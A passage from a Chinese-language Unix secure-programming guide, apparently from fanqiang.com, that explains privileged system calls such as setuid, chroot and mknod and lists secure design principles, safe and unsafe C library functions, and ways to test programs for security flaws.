(2)setgid():在系統進程中調用setgid()時,與setuid()類似,將實際和有效的GID都改變成其
參數指定的值.
* 調用以上兩個子程序時,應當注意下面幾點:
. 調用一次setuid()(setgid())將同時設置有效和實際UID(GID),獨立分別設置有效或實際U
ID(GID)固然很好,但無法做到這點.
. setuid()(setgid())可將有效和實際UID(GID)設置成任何整型數,其數值不必一定與/etc/
passwd(/etc/group)中用戶(小組)相關聯.
. 一旦程序以一個用戶的UID了setuid(),該程序就不再做為root運行,也不可能再獲root特權
.
(3)chown():當root進程運行chown(),chown()將不刪除文件的SUID和/或SGID許可,但當非ro
ot進程運行chown()時,chown()將取消文件的SUID和/或SGID許可.
(4)chroot():改變進程對根目錄的概念,調用chroot(),進程就不能把當前工作目錄改變到
新的根目錄以上的任一目錄,所有以/開始的路徑搜索,都從新的根目錄開始.
(5)mknod():用建立一個文件,類似creat(),差別是mknod()不返回所打開文件的文件描述
符,並且能建立任何類型的文件(普通文件,特殊文件,目錄文件).若從非root進程調用mknod(
)將執行失敗,只有建立FIFO特別文件(有名管道文件)時例外,其它任何情況下,必須從root進
程調用mknod().由creat()僅能建立普通文件,mknod()是建立目錄文件的唯一途徑,因而僅
有root能建立目錄,這就是為什mkdir命令具有SUID許可並屬root所有.
一般不從程序中調用mknod().通常用/etc/mknod命令建立特別設備文件而這些文件一般不能
在使用著時建立和刪除,mkdir命令用建立目錄.當用mknod()建立特別文件時,應當注意確從
所建的特別文件不允許存取內存,磁盤,終端和其它設備.
(6)unlink():用刪除文件.參數是要刪除文件的路徑名指針.當指定了目錄時,必須從root進
程調用unlink(),這是必須從root進程調用unlink()的唯一情況,這就是為什rmdir命令具有
root的SGID許可的原因.
(7)mount(),umount():由root進程調用,分別用安裝和拆卸文件系統.這兩個子程序也被mo
unt和umount命令調用,其參數基本和命令的參數相同.調用mount(),需要給出一個特別文件和
一個目錄的指針,特別文件上的文件系統就將安裝在該目錄下,調用時還要給出一個標識選項
,指定被安裝的文件系統要被讀/寫<0>還是僅讀<1>.umount()的參數是要一個要拆卸的特別文
件的指針.
系統設計法則
不管使用何種編程語言、程序用途、和什技巧寫的,下面的法則可
以幫助你斷定程序是否是bug-free的
1. 最小權限. 編制和使用最少且足夠的權限去完成任務,問自己,
"軟件*必需*要什權限?",而不是"軟件需要什權限"。
2. 結構經濟. 短,簡單的代碼產生的Bug當然比長和復雜的少,用盡
可能少的代碼實現系統。
3. 完全檢測. 檢查訪問對象的所有途徑,所有調用的返回代碼,和關
鍵點的變量值。
4. 開放設計. 不要用隱晦的方法來保証安全
5. 特權分開. 在不同的程序或函數裡不同時間只給出最需要的權限。
6. 最少公用機制. 應該給用戶最少的共享資源。
7. 心理可接受性. 安全控制必須容易使用,否則容易被用戶繞過去不
去使用安全特性。
8. 默認的錯誤防護. 默認拒絕,和錯誤關閉
9. 代碼重用. 盡可能使用以前測試過的代碼
10. 不信任未知的. 所有從用戶那裡得到的信息,或者從外面的程序都
是可以懷疑的.
11. 在問題出現前作出預測. 在開始寫程序之前確定你的程序功能和設
計可能會出現什安全問題。
安全編程方法
1. 檢查所有的命令行參數
2. 檢查所有的系統調用參數和返回代碼
3. 檢查環境參數,不要依靠Unix環境變量
4. 確定所有的緩存都被檢查過
5. 在變量的內容被拷貝到本地緩存之前對變量進行邊界檢查
6. 如果創建一個新文件,使用O_EXCL和O_CREATE標志來確定文件沒有已經存在
7. 使用lstat()來確定文件不是一個符號連接
8. 使用下面的這些庫調用: fgets(), strncpy(), strncat(), snprintf()
而不是其它類似的函數,可以說,只使用檢查了長度的函數.
9. 同樣的,小心的使用execve(),如果你必須衍生一個進程
10.在程序開始時顯式的更改目錄(chdir())到適當的地方
11.限制當程序失敗時產生的core文件,core文件裡有可能含有密碼和其它內存狀態信息.
12.如果使用臨時文件,考慮使用系統調用tmpfile()或mktemp()來創建它們
(雖然很多mktemp()庫調用可能有race condition的情況)
13.內部有做完整性檢查的代碼
14.做大量的日志記錄,包括日期,時間,uid和effective uid,gid和effe
ctive gid,終端信息,pid,命令行參數,錯誤和主機名
15.使程序的核心盡可能小和簡單
16.永遠用全路徑名做文件參數
17.檢查用戶的輸入,確保只有"好"的字符
18.使用好的工具如lint
19.理解race conditions,包括死鎖狀態和順序狀態
20.在網絡讀請求的程序裡設置timeouts和負荷級別的限制.
21.在網絡寫請求裡放置timeouts
22.使用會話加密來避免會話搶劫和隱藏驗証信息
23.盡可能使用chroot()設置程序環境
24.如果可能,靜態連接安全程序
25.當需要主機名時使用DNS逆向解釋
26.在網絡服務程序裡分散和限制過多的負載
27.在網絡的讀和寫裡放置適當的timeout限制
28.如果合適,防止服務程序運行超過一個以上的拷貝
不安全的編程方法
1. 防止使用在處理字符串時不檢查buffer邊界的函數,如gets(),
strcpy(), strcat(), sprintf(),fscanf(), scanf(), vsprintf(), realp
ath(), getopt(), getpass(), streadd(), strecpy(),和strtrns()
2. 同樣,避免使用execlp()和execvp()
3. 永遠不要用system()和popen()系統調用
4. 不要將文件創建文件在全部人可寫的目錄裡
5. 通常,不要設置setuid或者setgid的shell scripts
6. 不要假想端口號碼,應該用getservbyname()函數
7. 不要假設來自小數字的端口號的連接是合法和可信任的
8. 不要相信任何IP地址,如果要驗証,用密碼算法
9. 不要用明文方式驗証信息
l0 不要常識從嚴重的錯誤中恢復,要輸出詳細信息然中斷
l 1 考慮使用perl -T或taintperl寫setuid的perl程序
測試程序安全
1. 用cracker的方法來做軟件測試:
2. 嘗試使程序裡的所有緩存溢出
3. 嘗試使用任意的命令行選項
4. 嘗試建立可能的race condition
5. 設計者做代碼重閱和測試
6. 讀所有的代碼,象cracker一樣思維來找漏洞
(http://www.fanqiang.com)
進入【UNIX論壇】
|
|
| 相關文章 |
|
|
|
|
 |
★ 樊強制作 歡迎分享 ★ |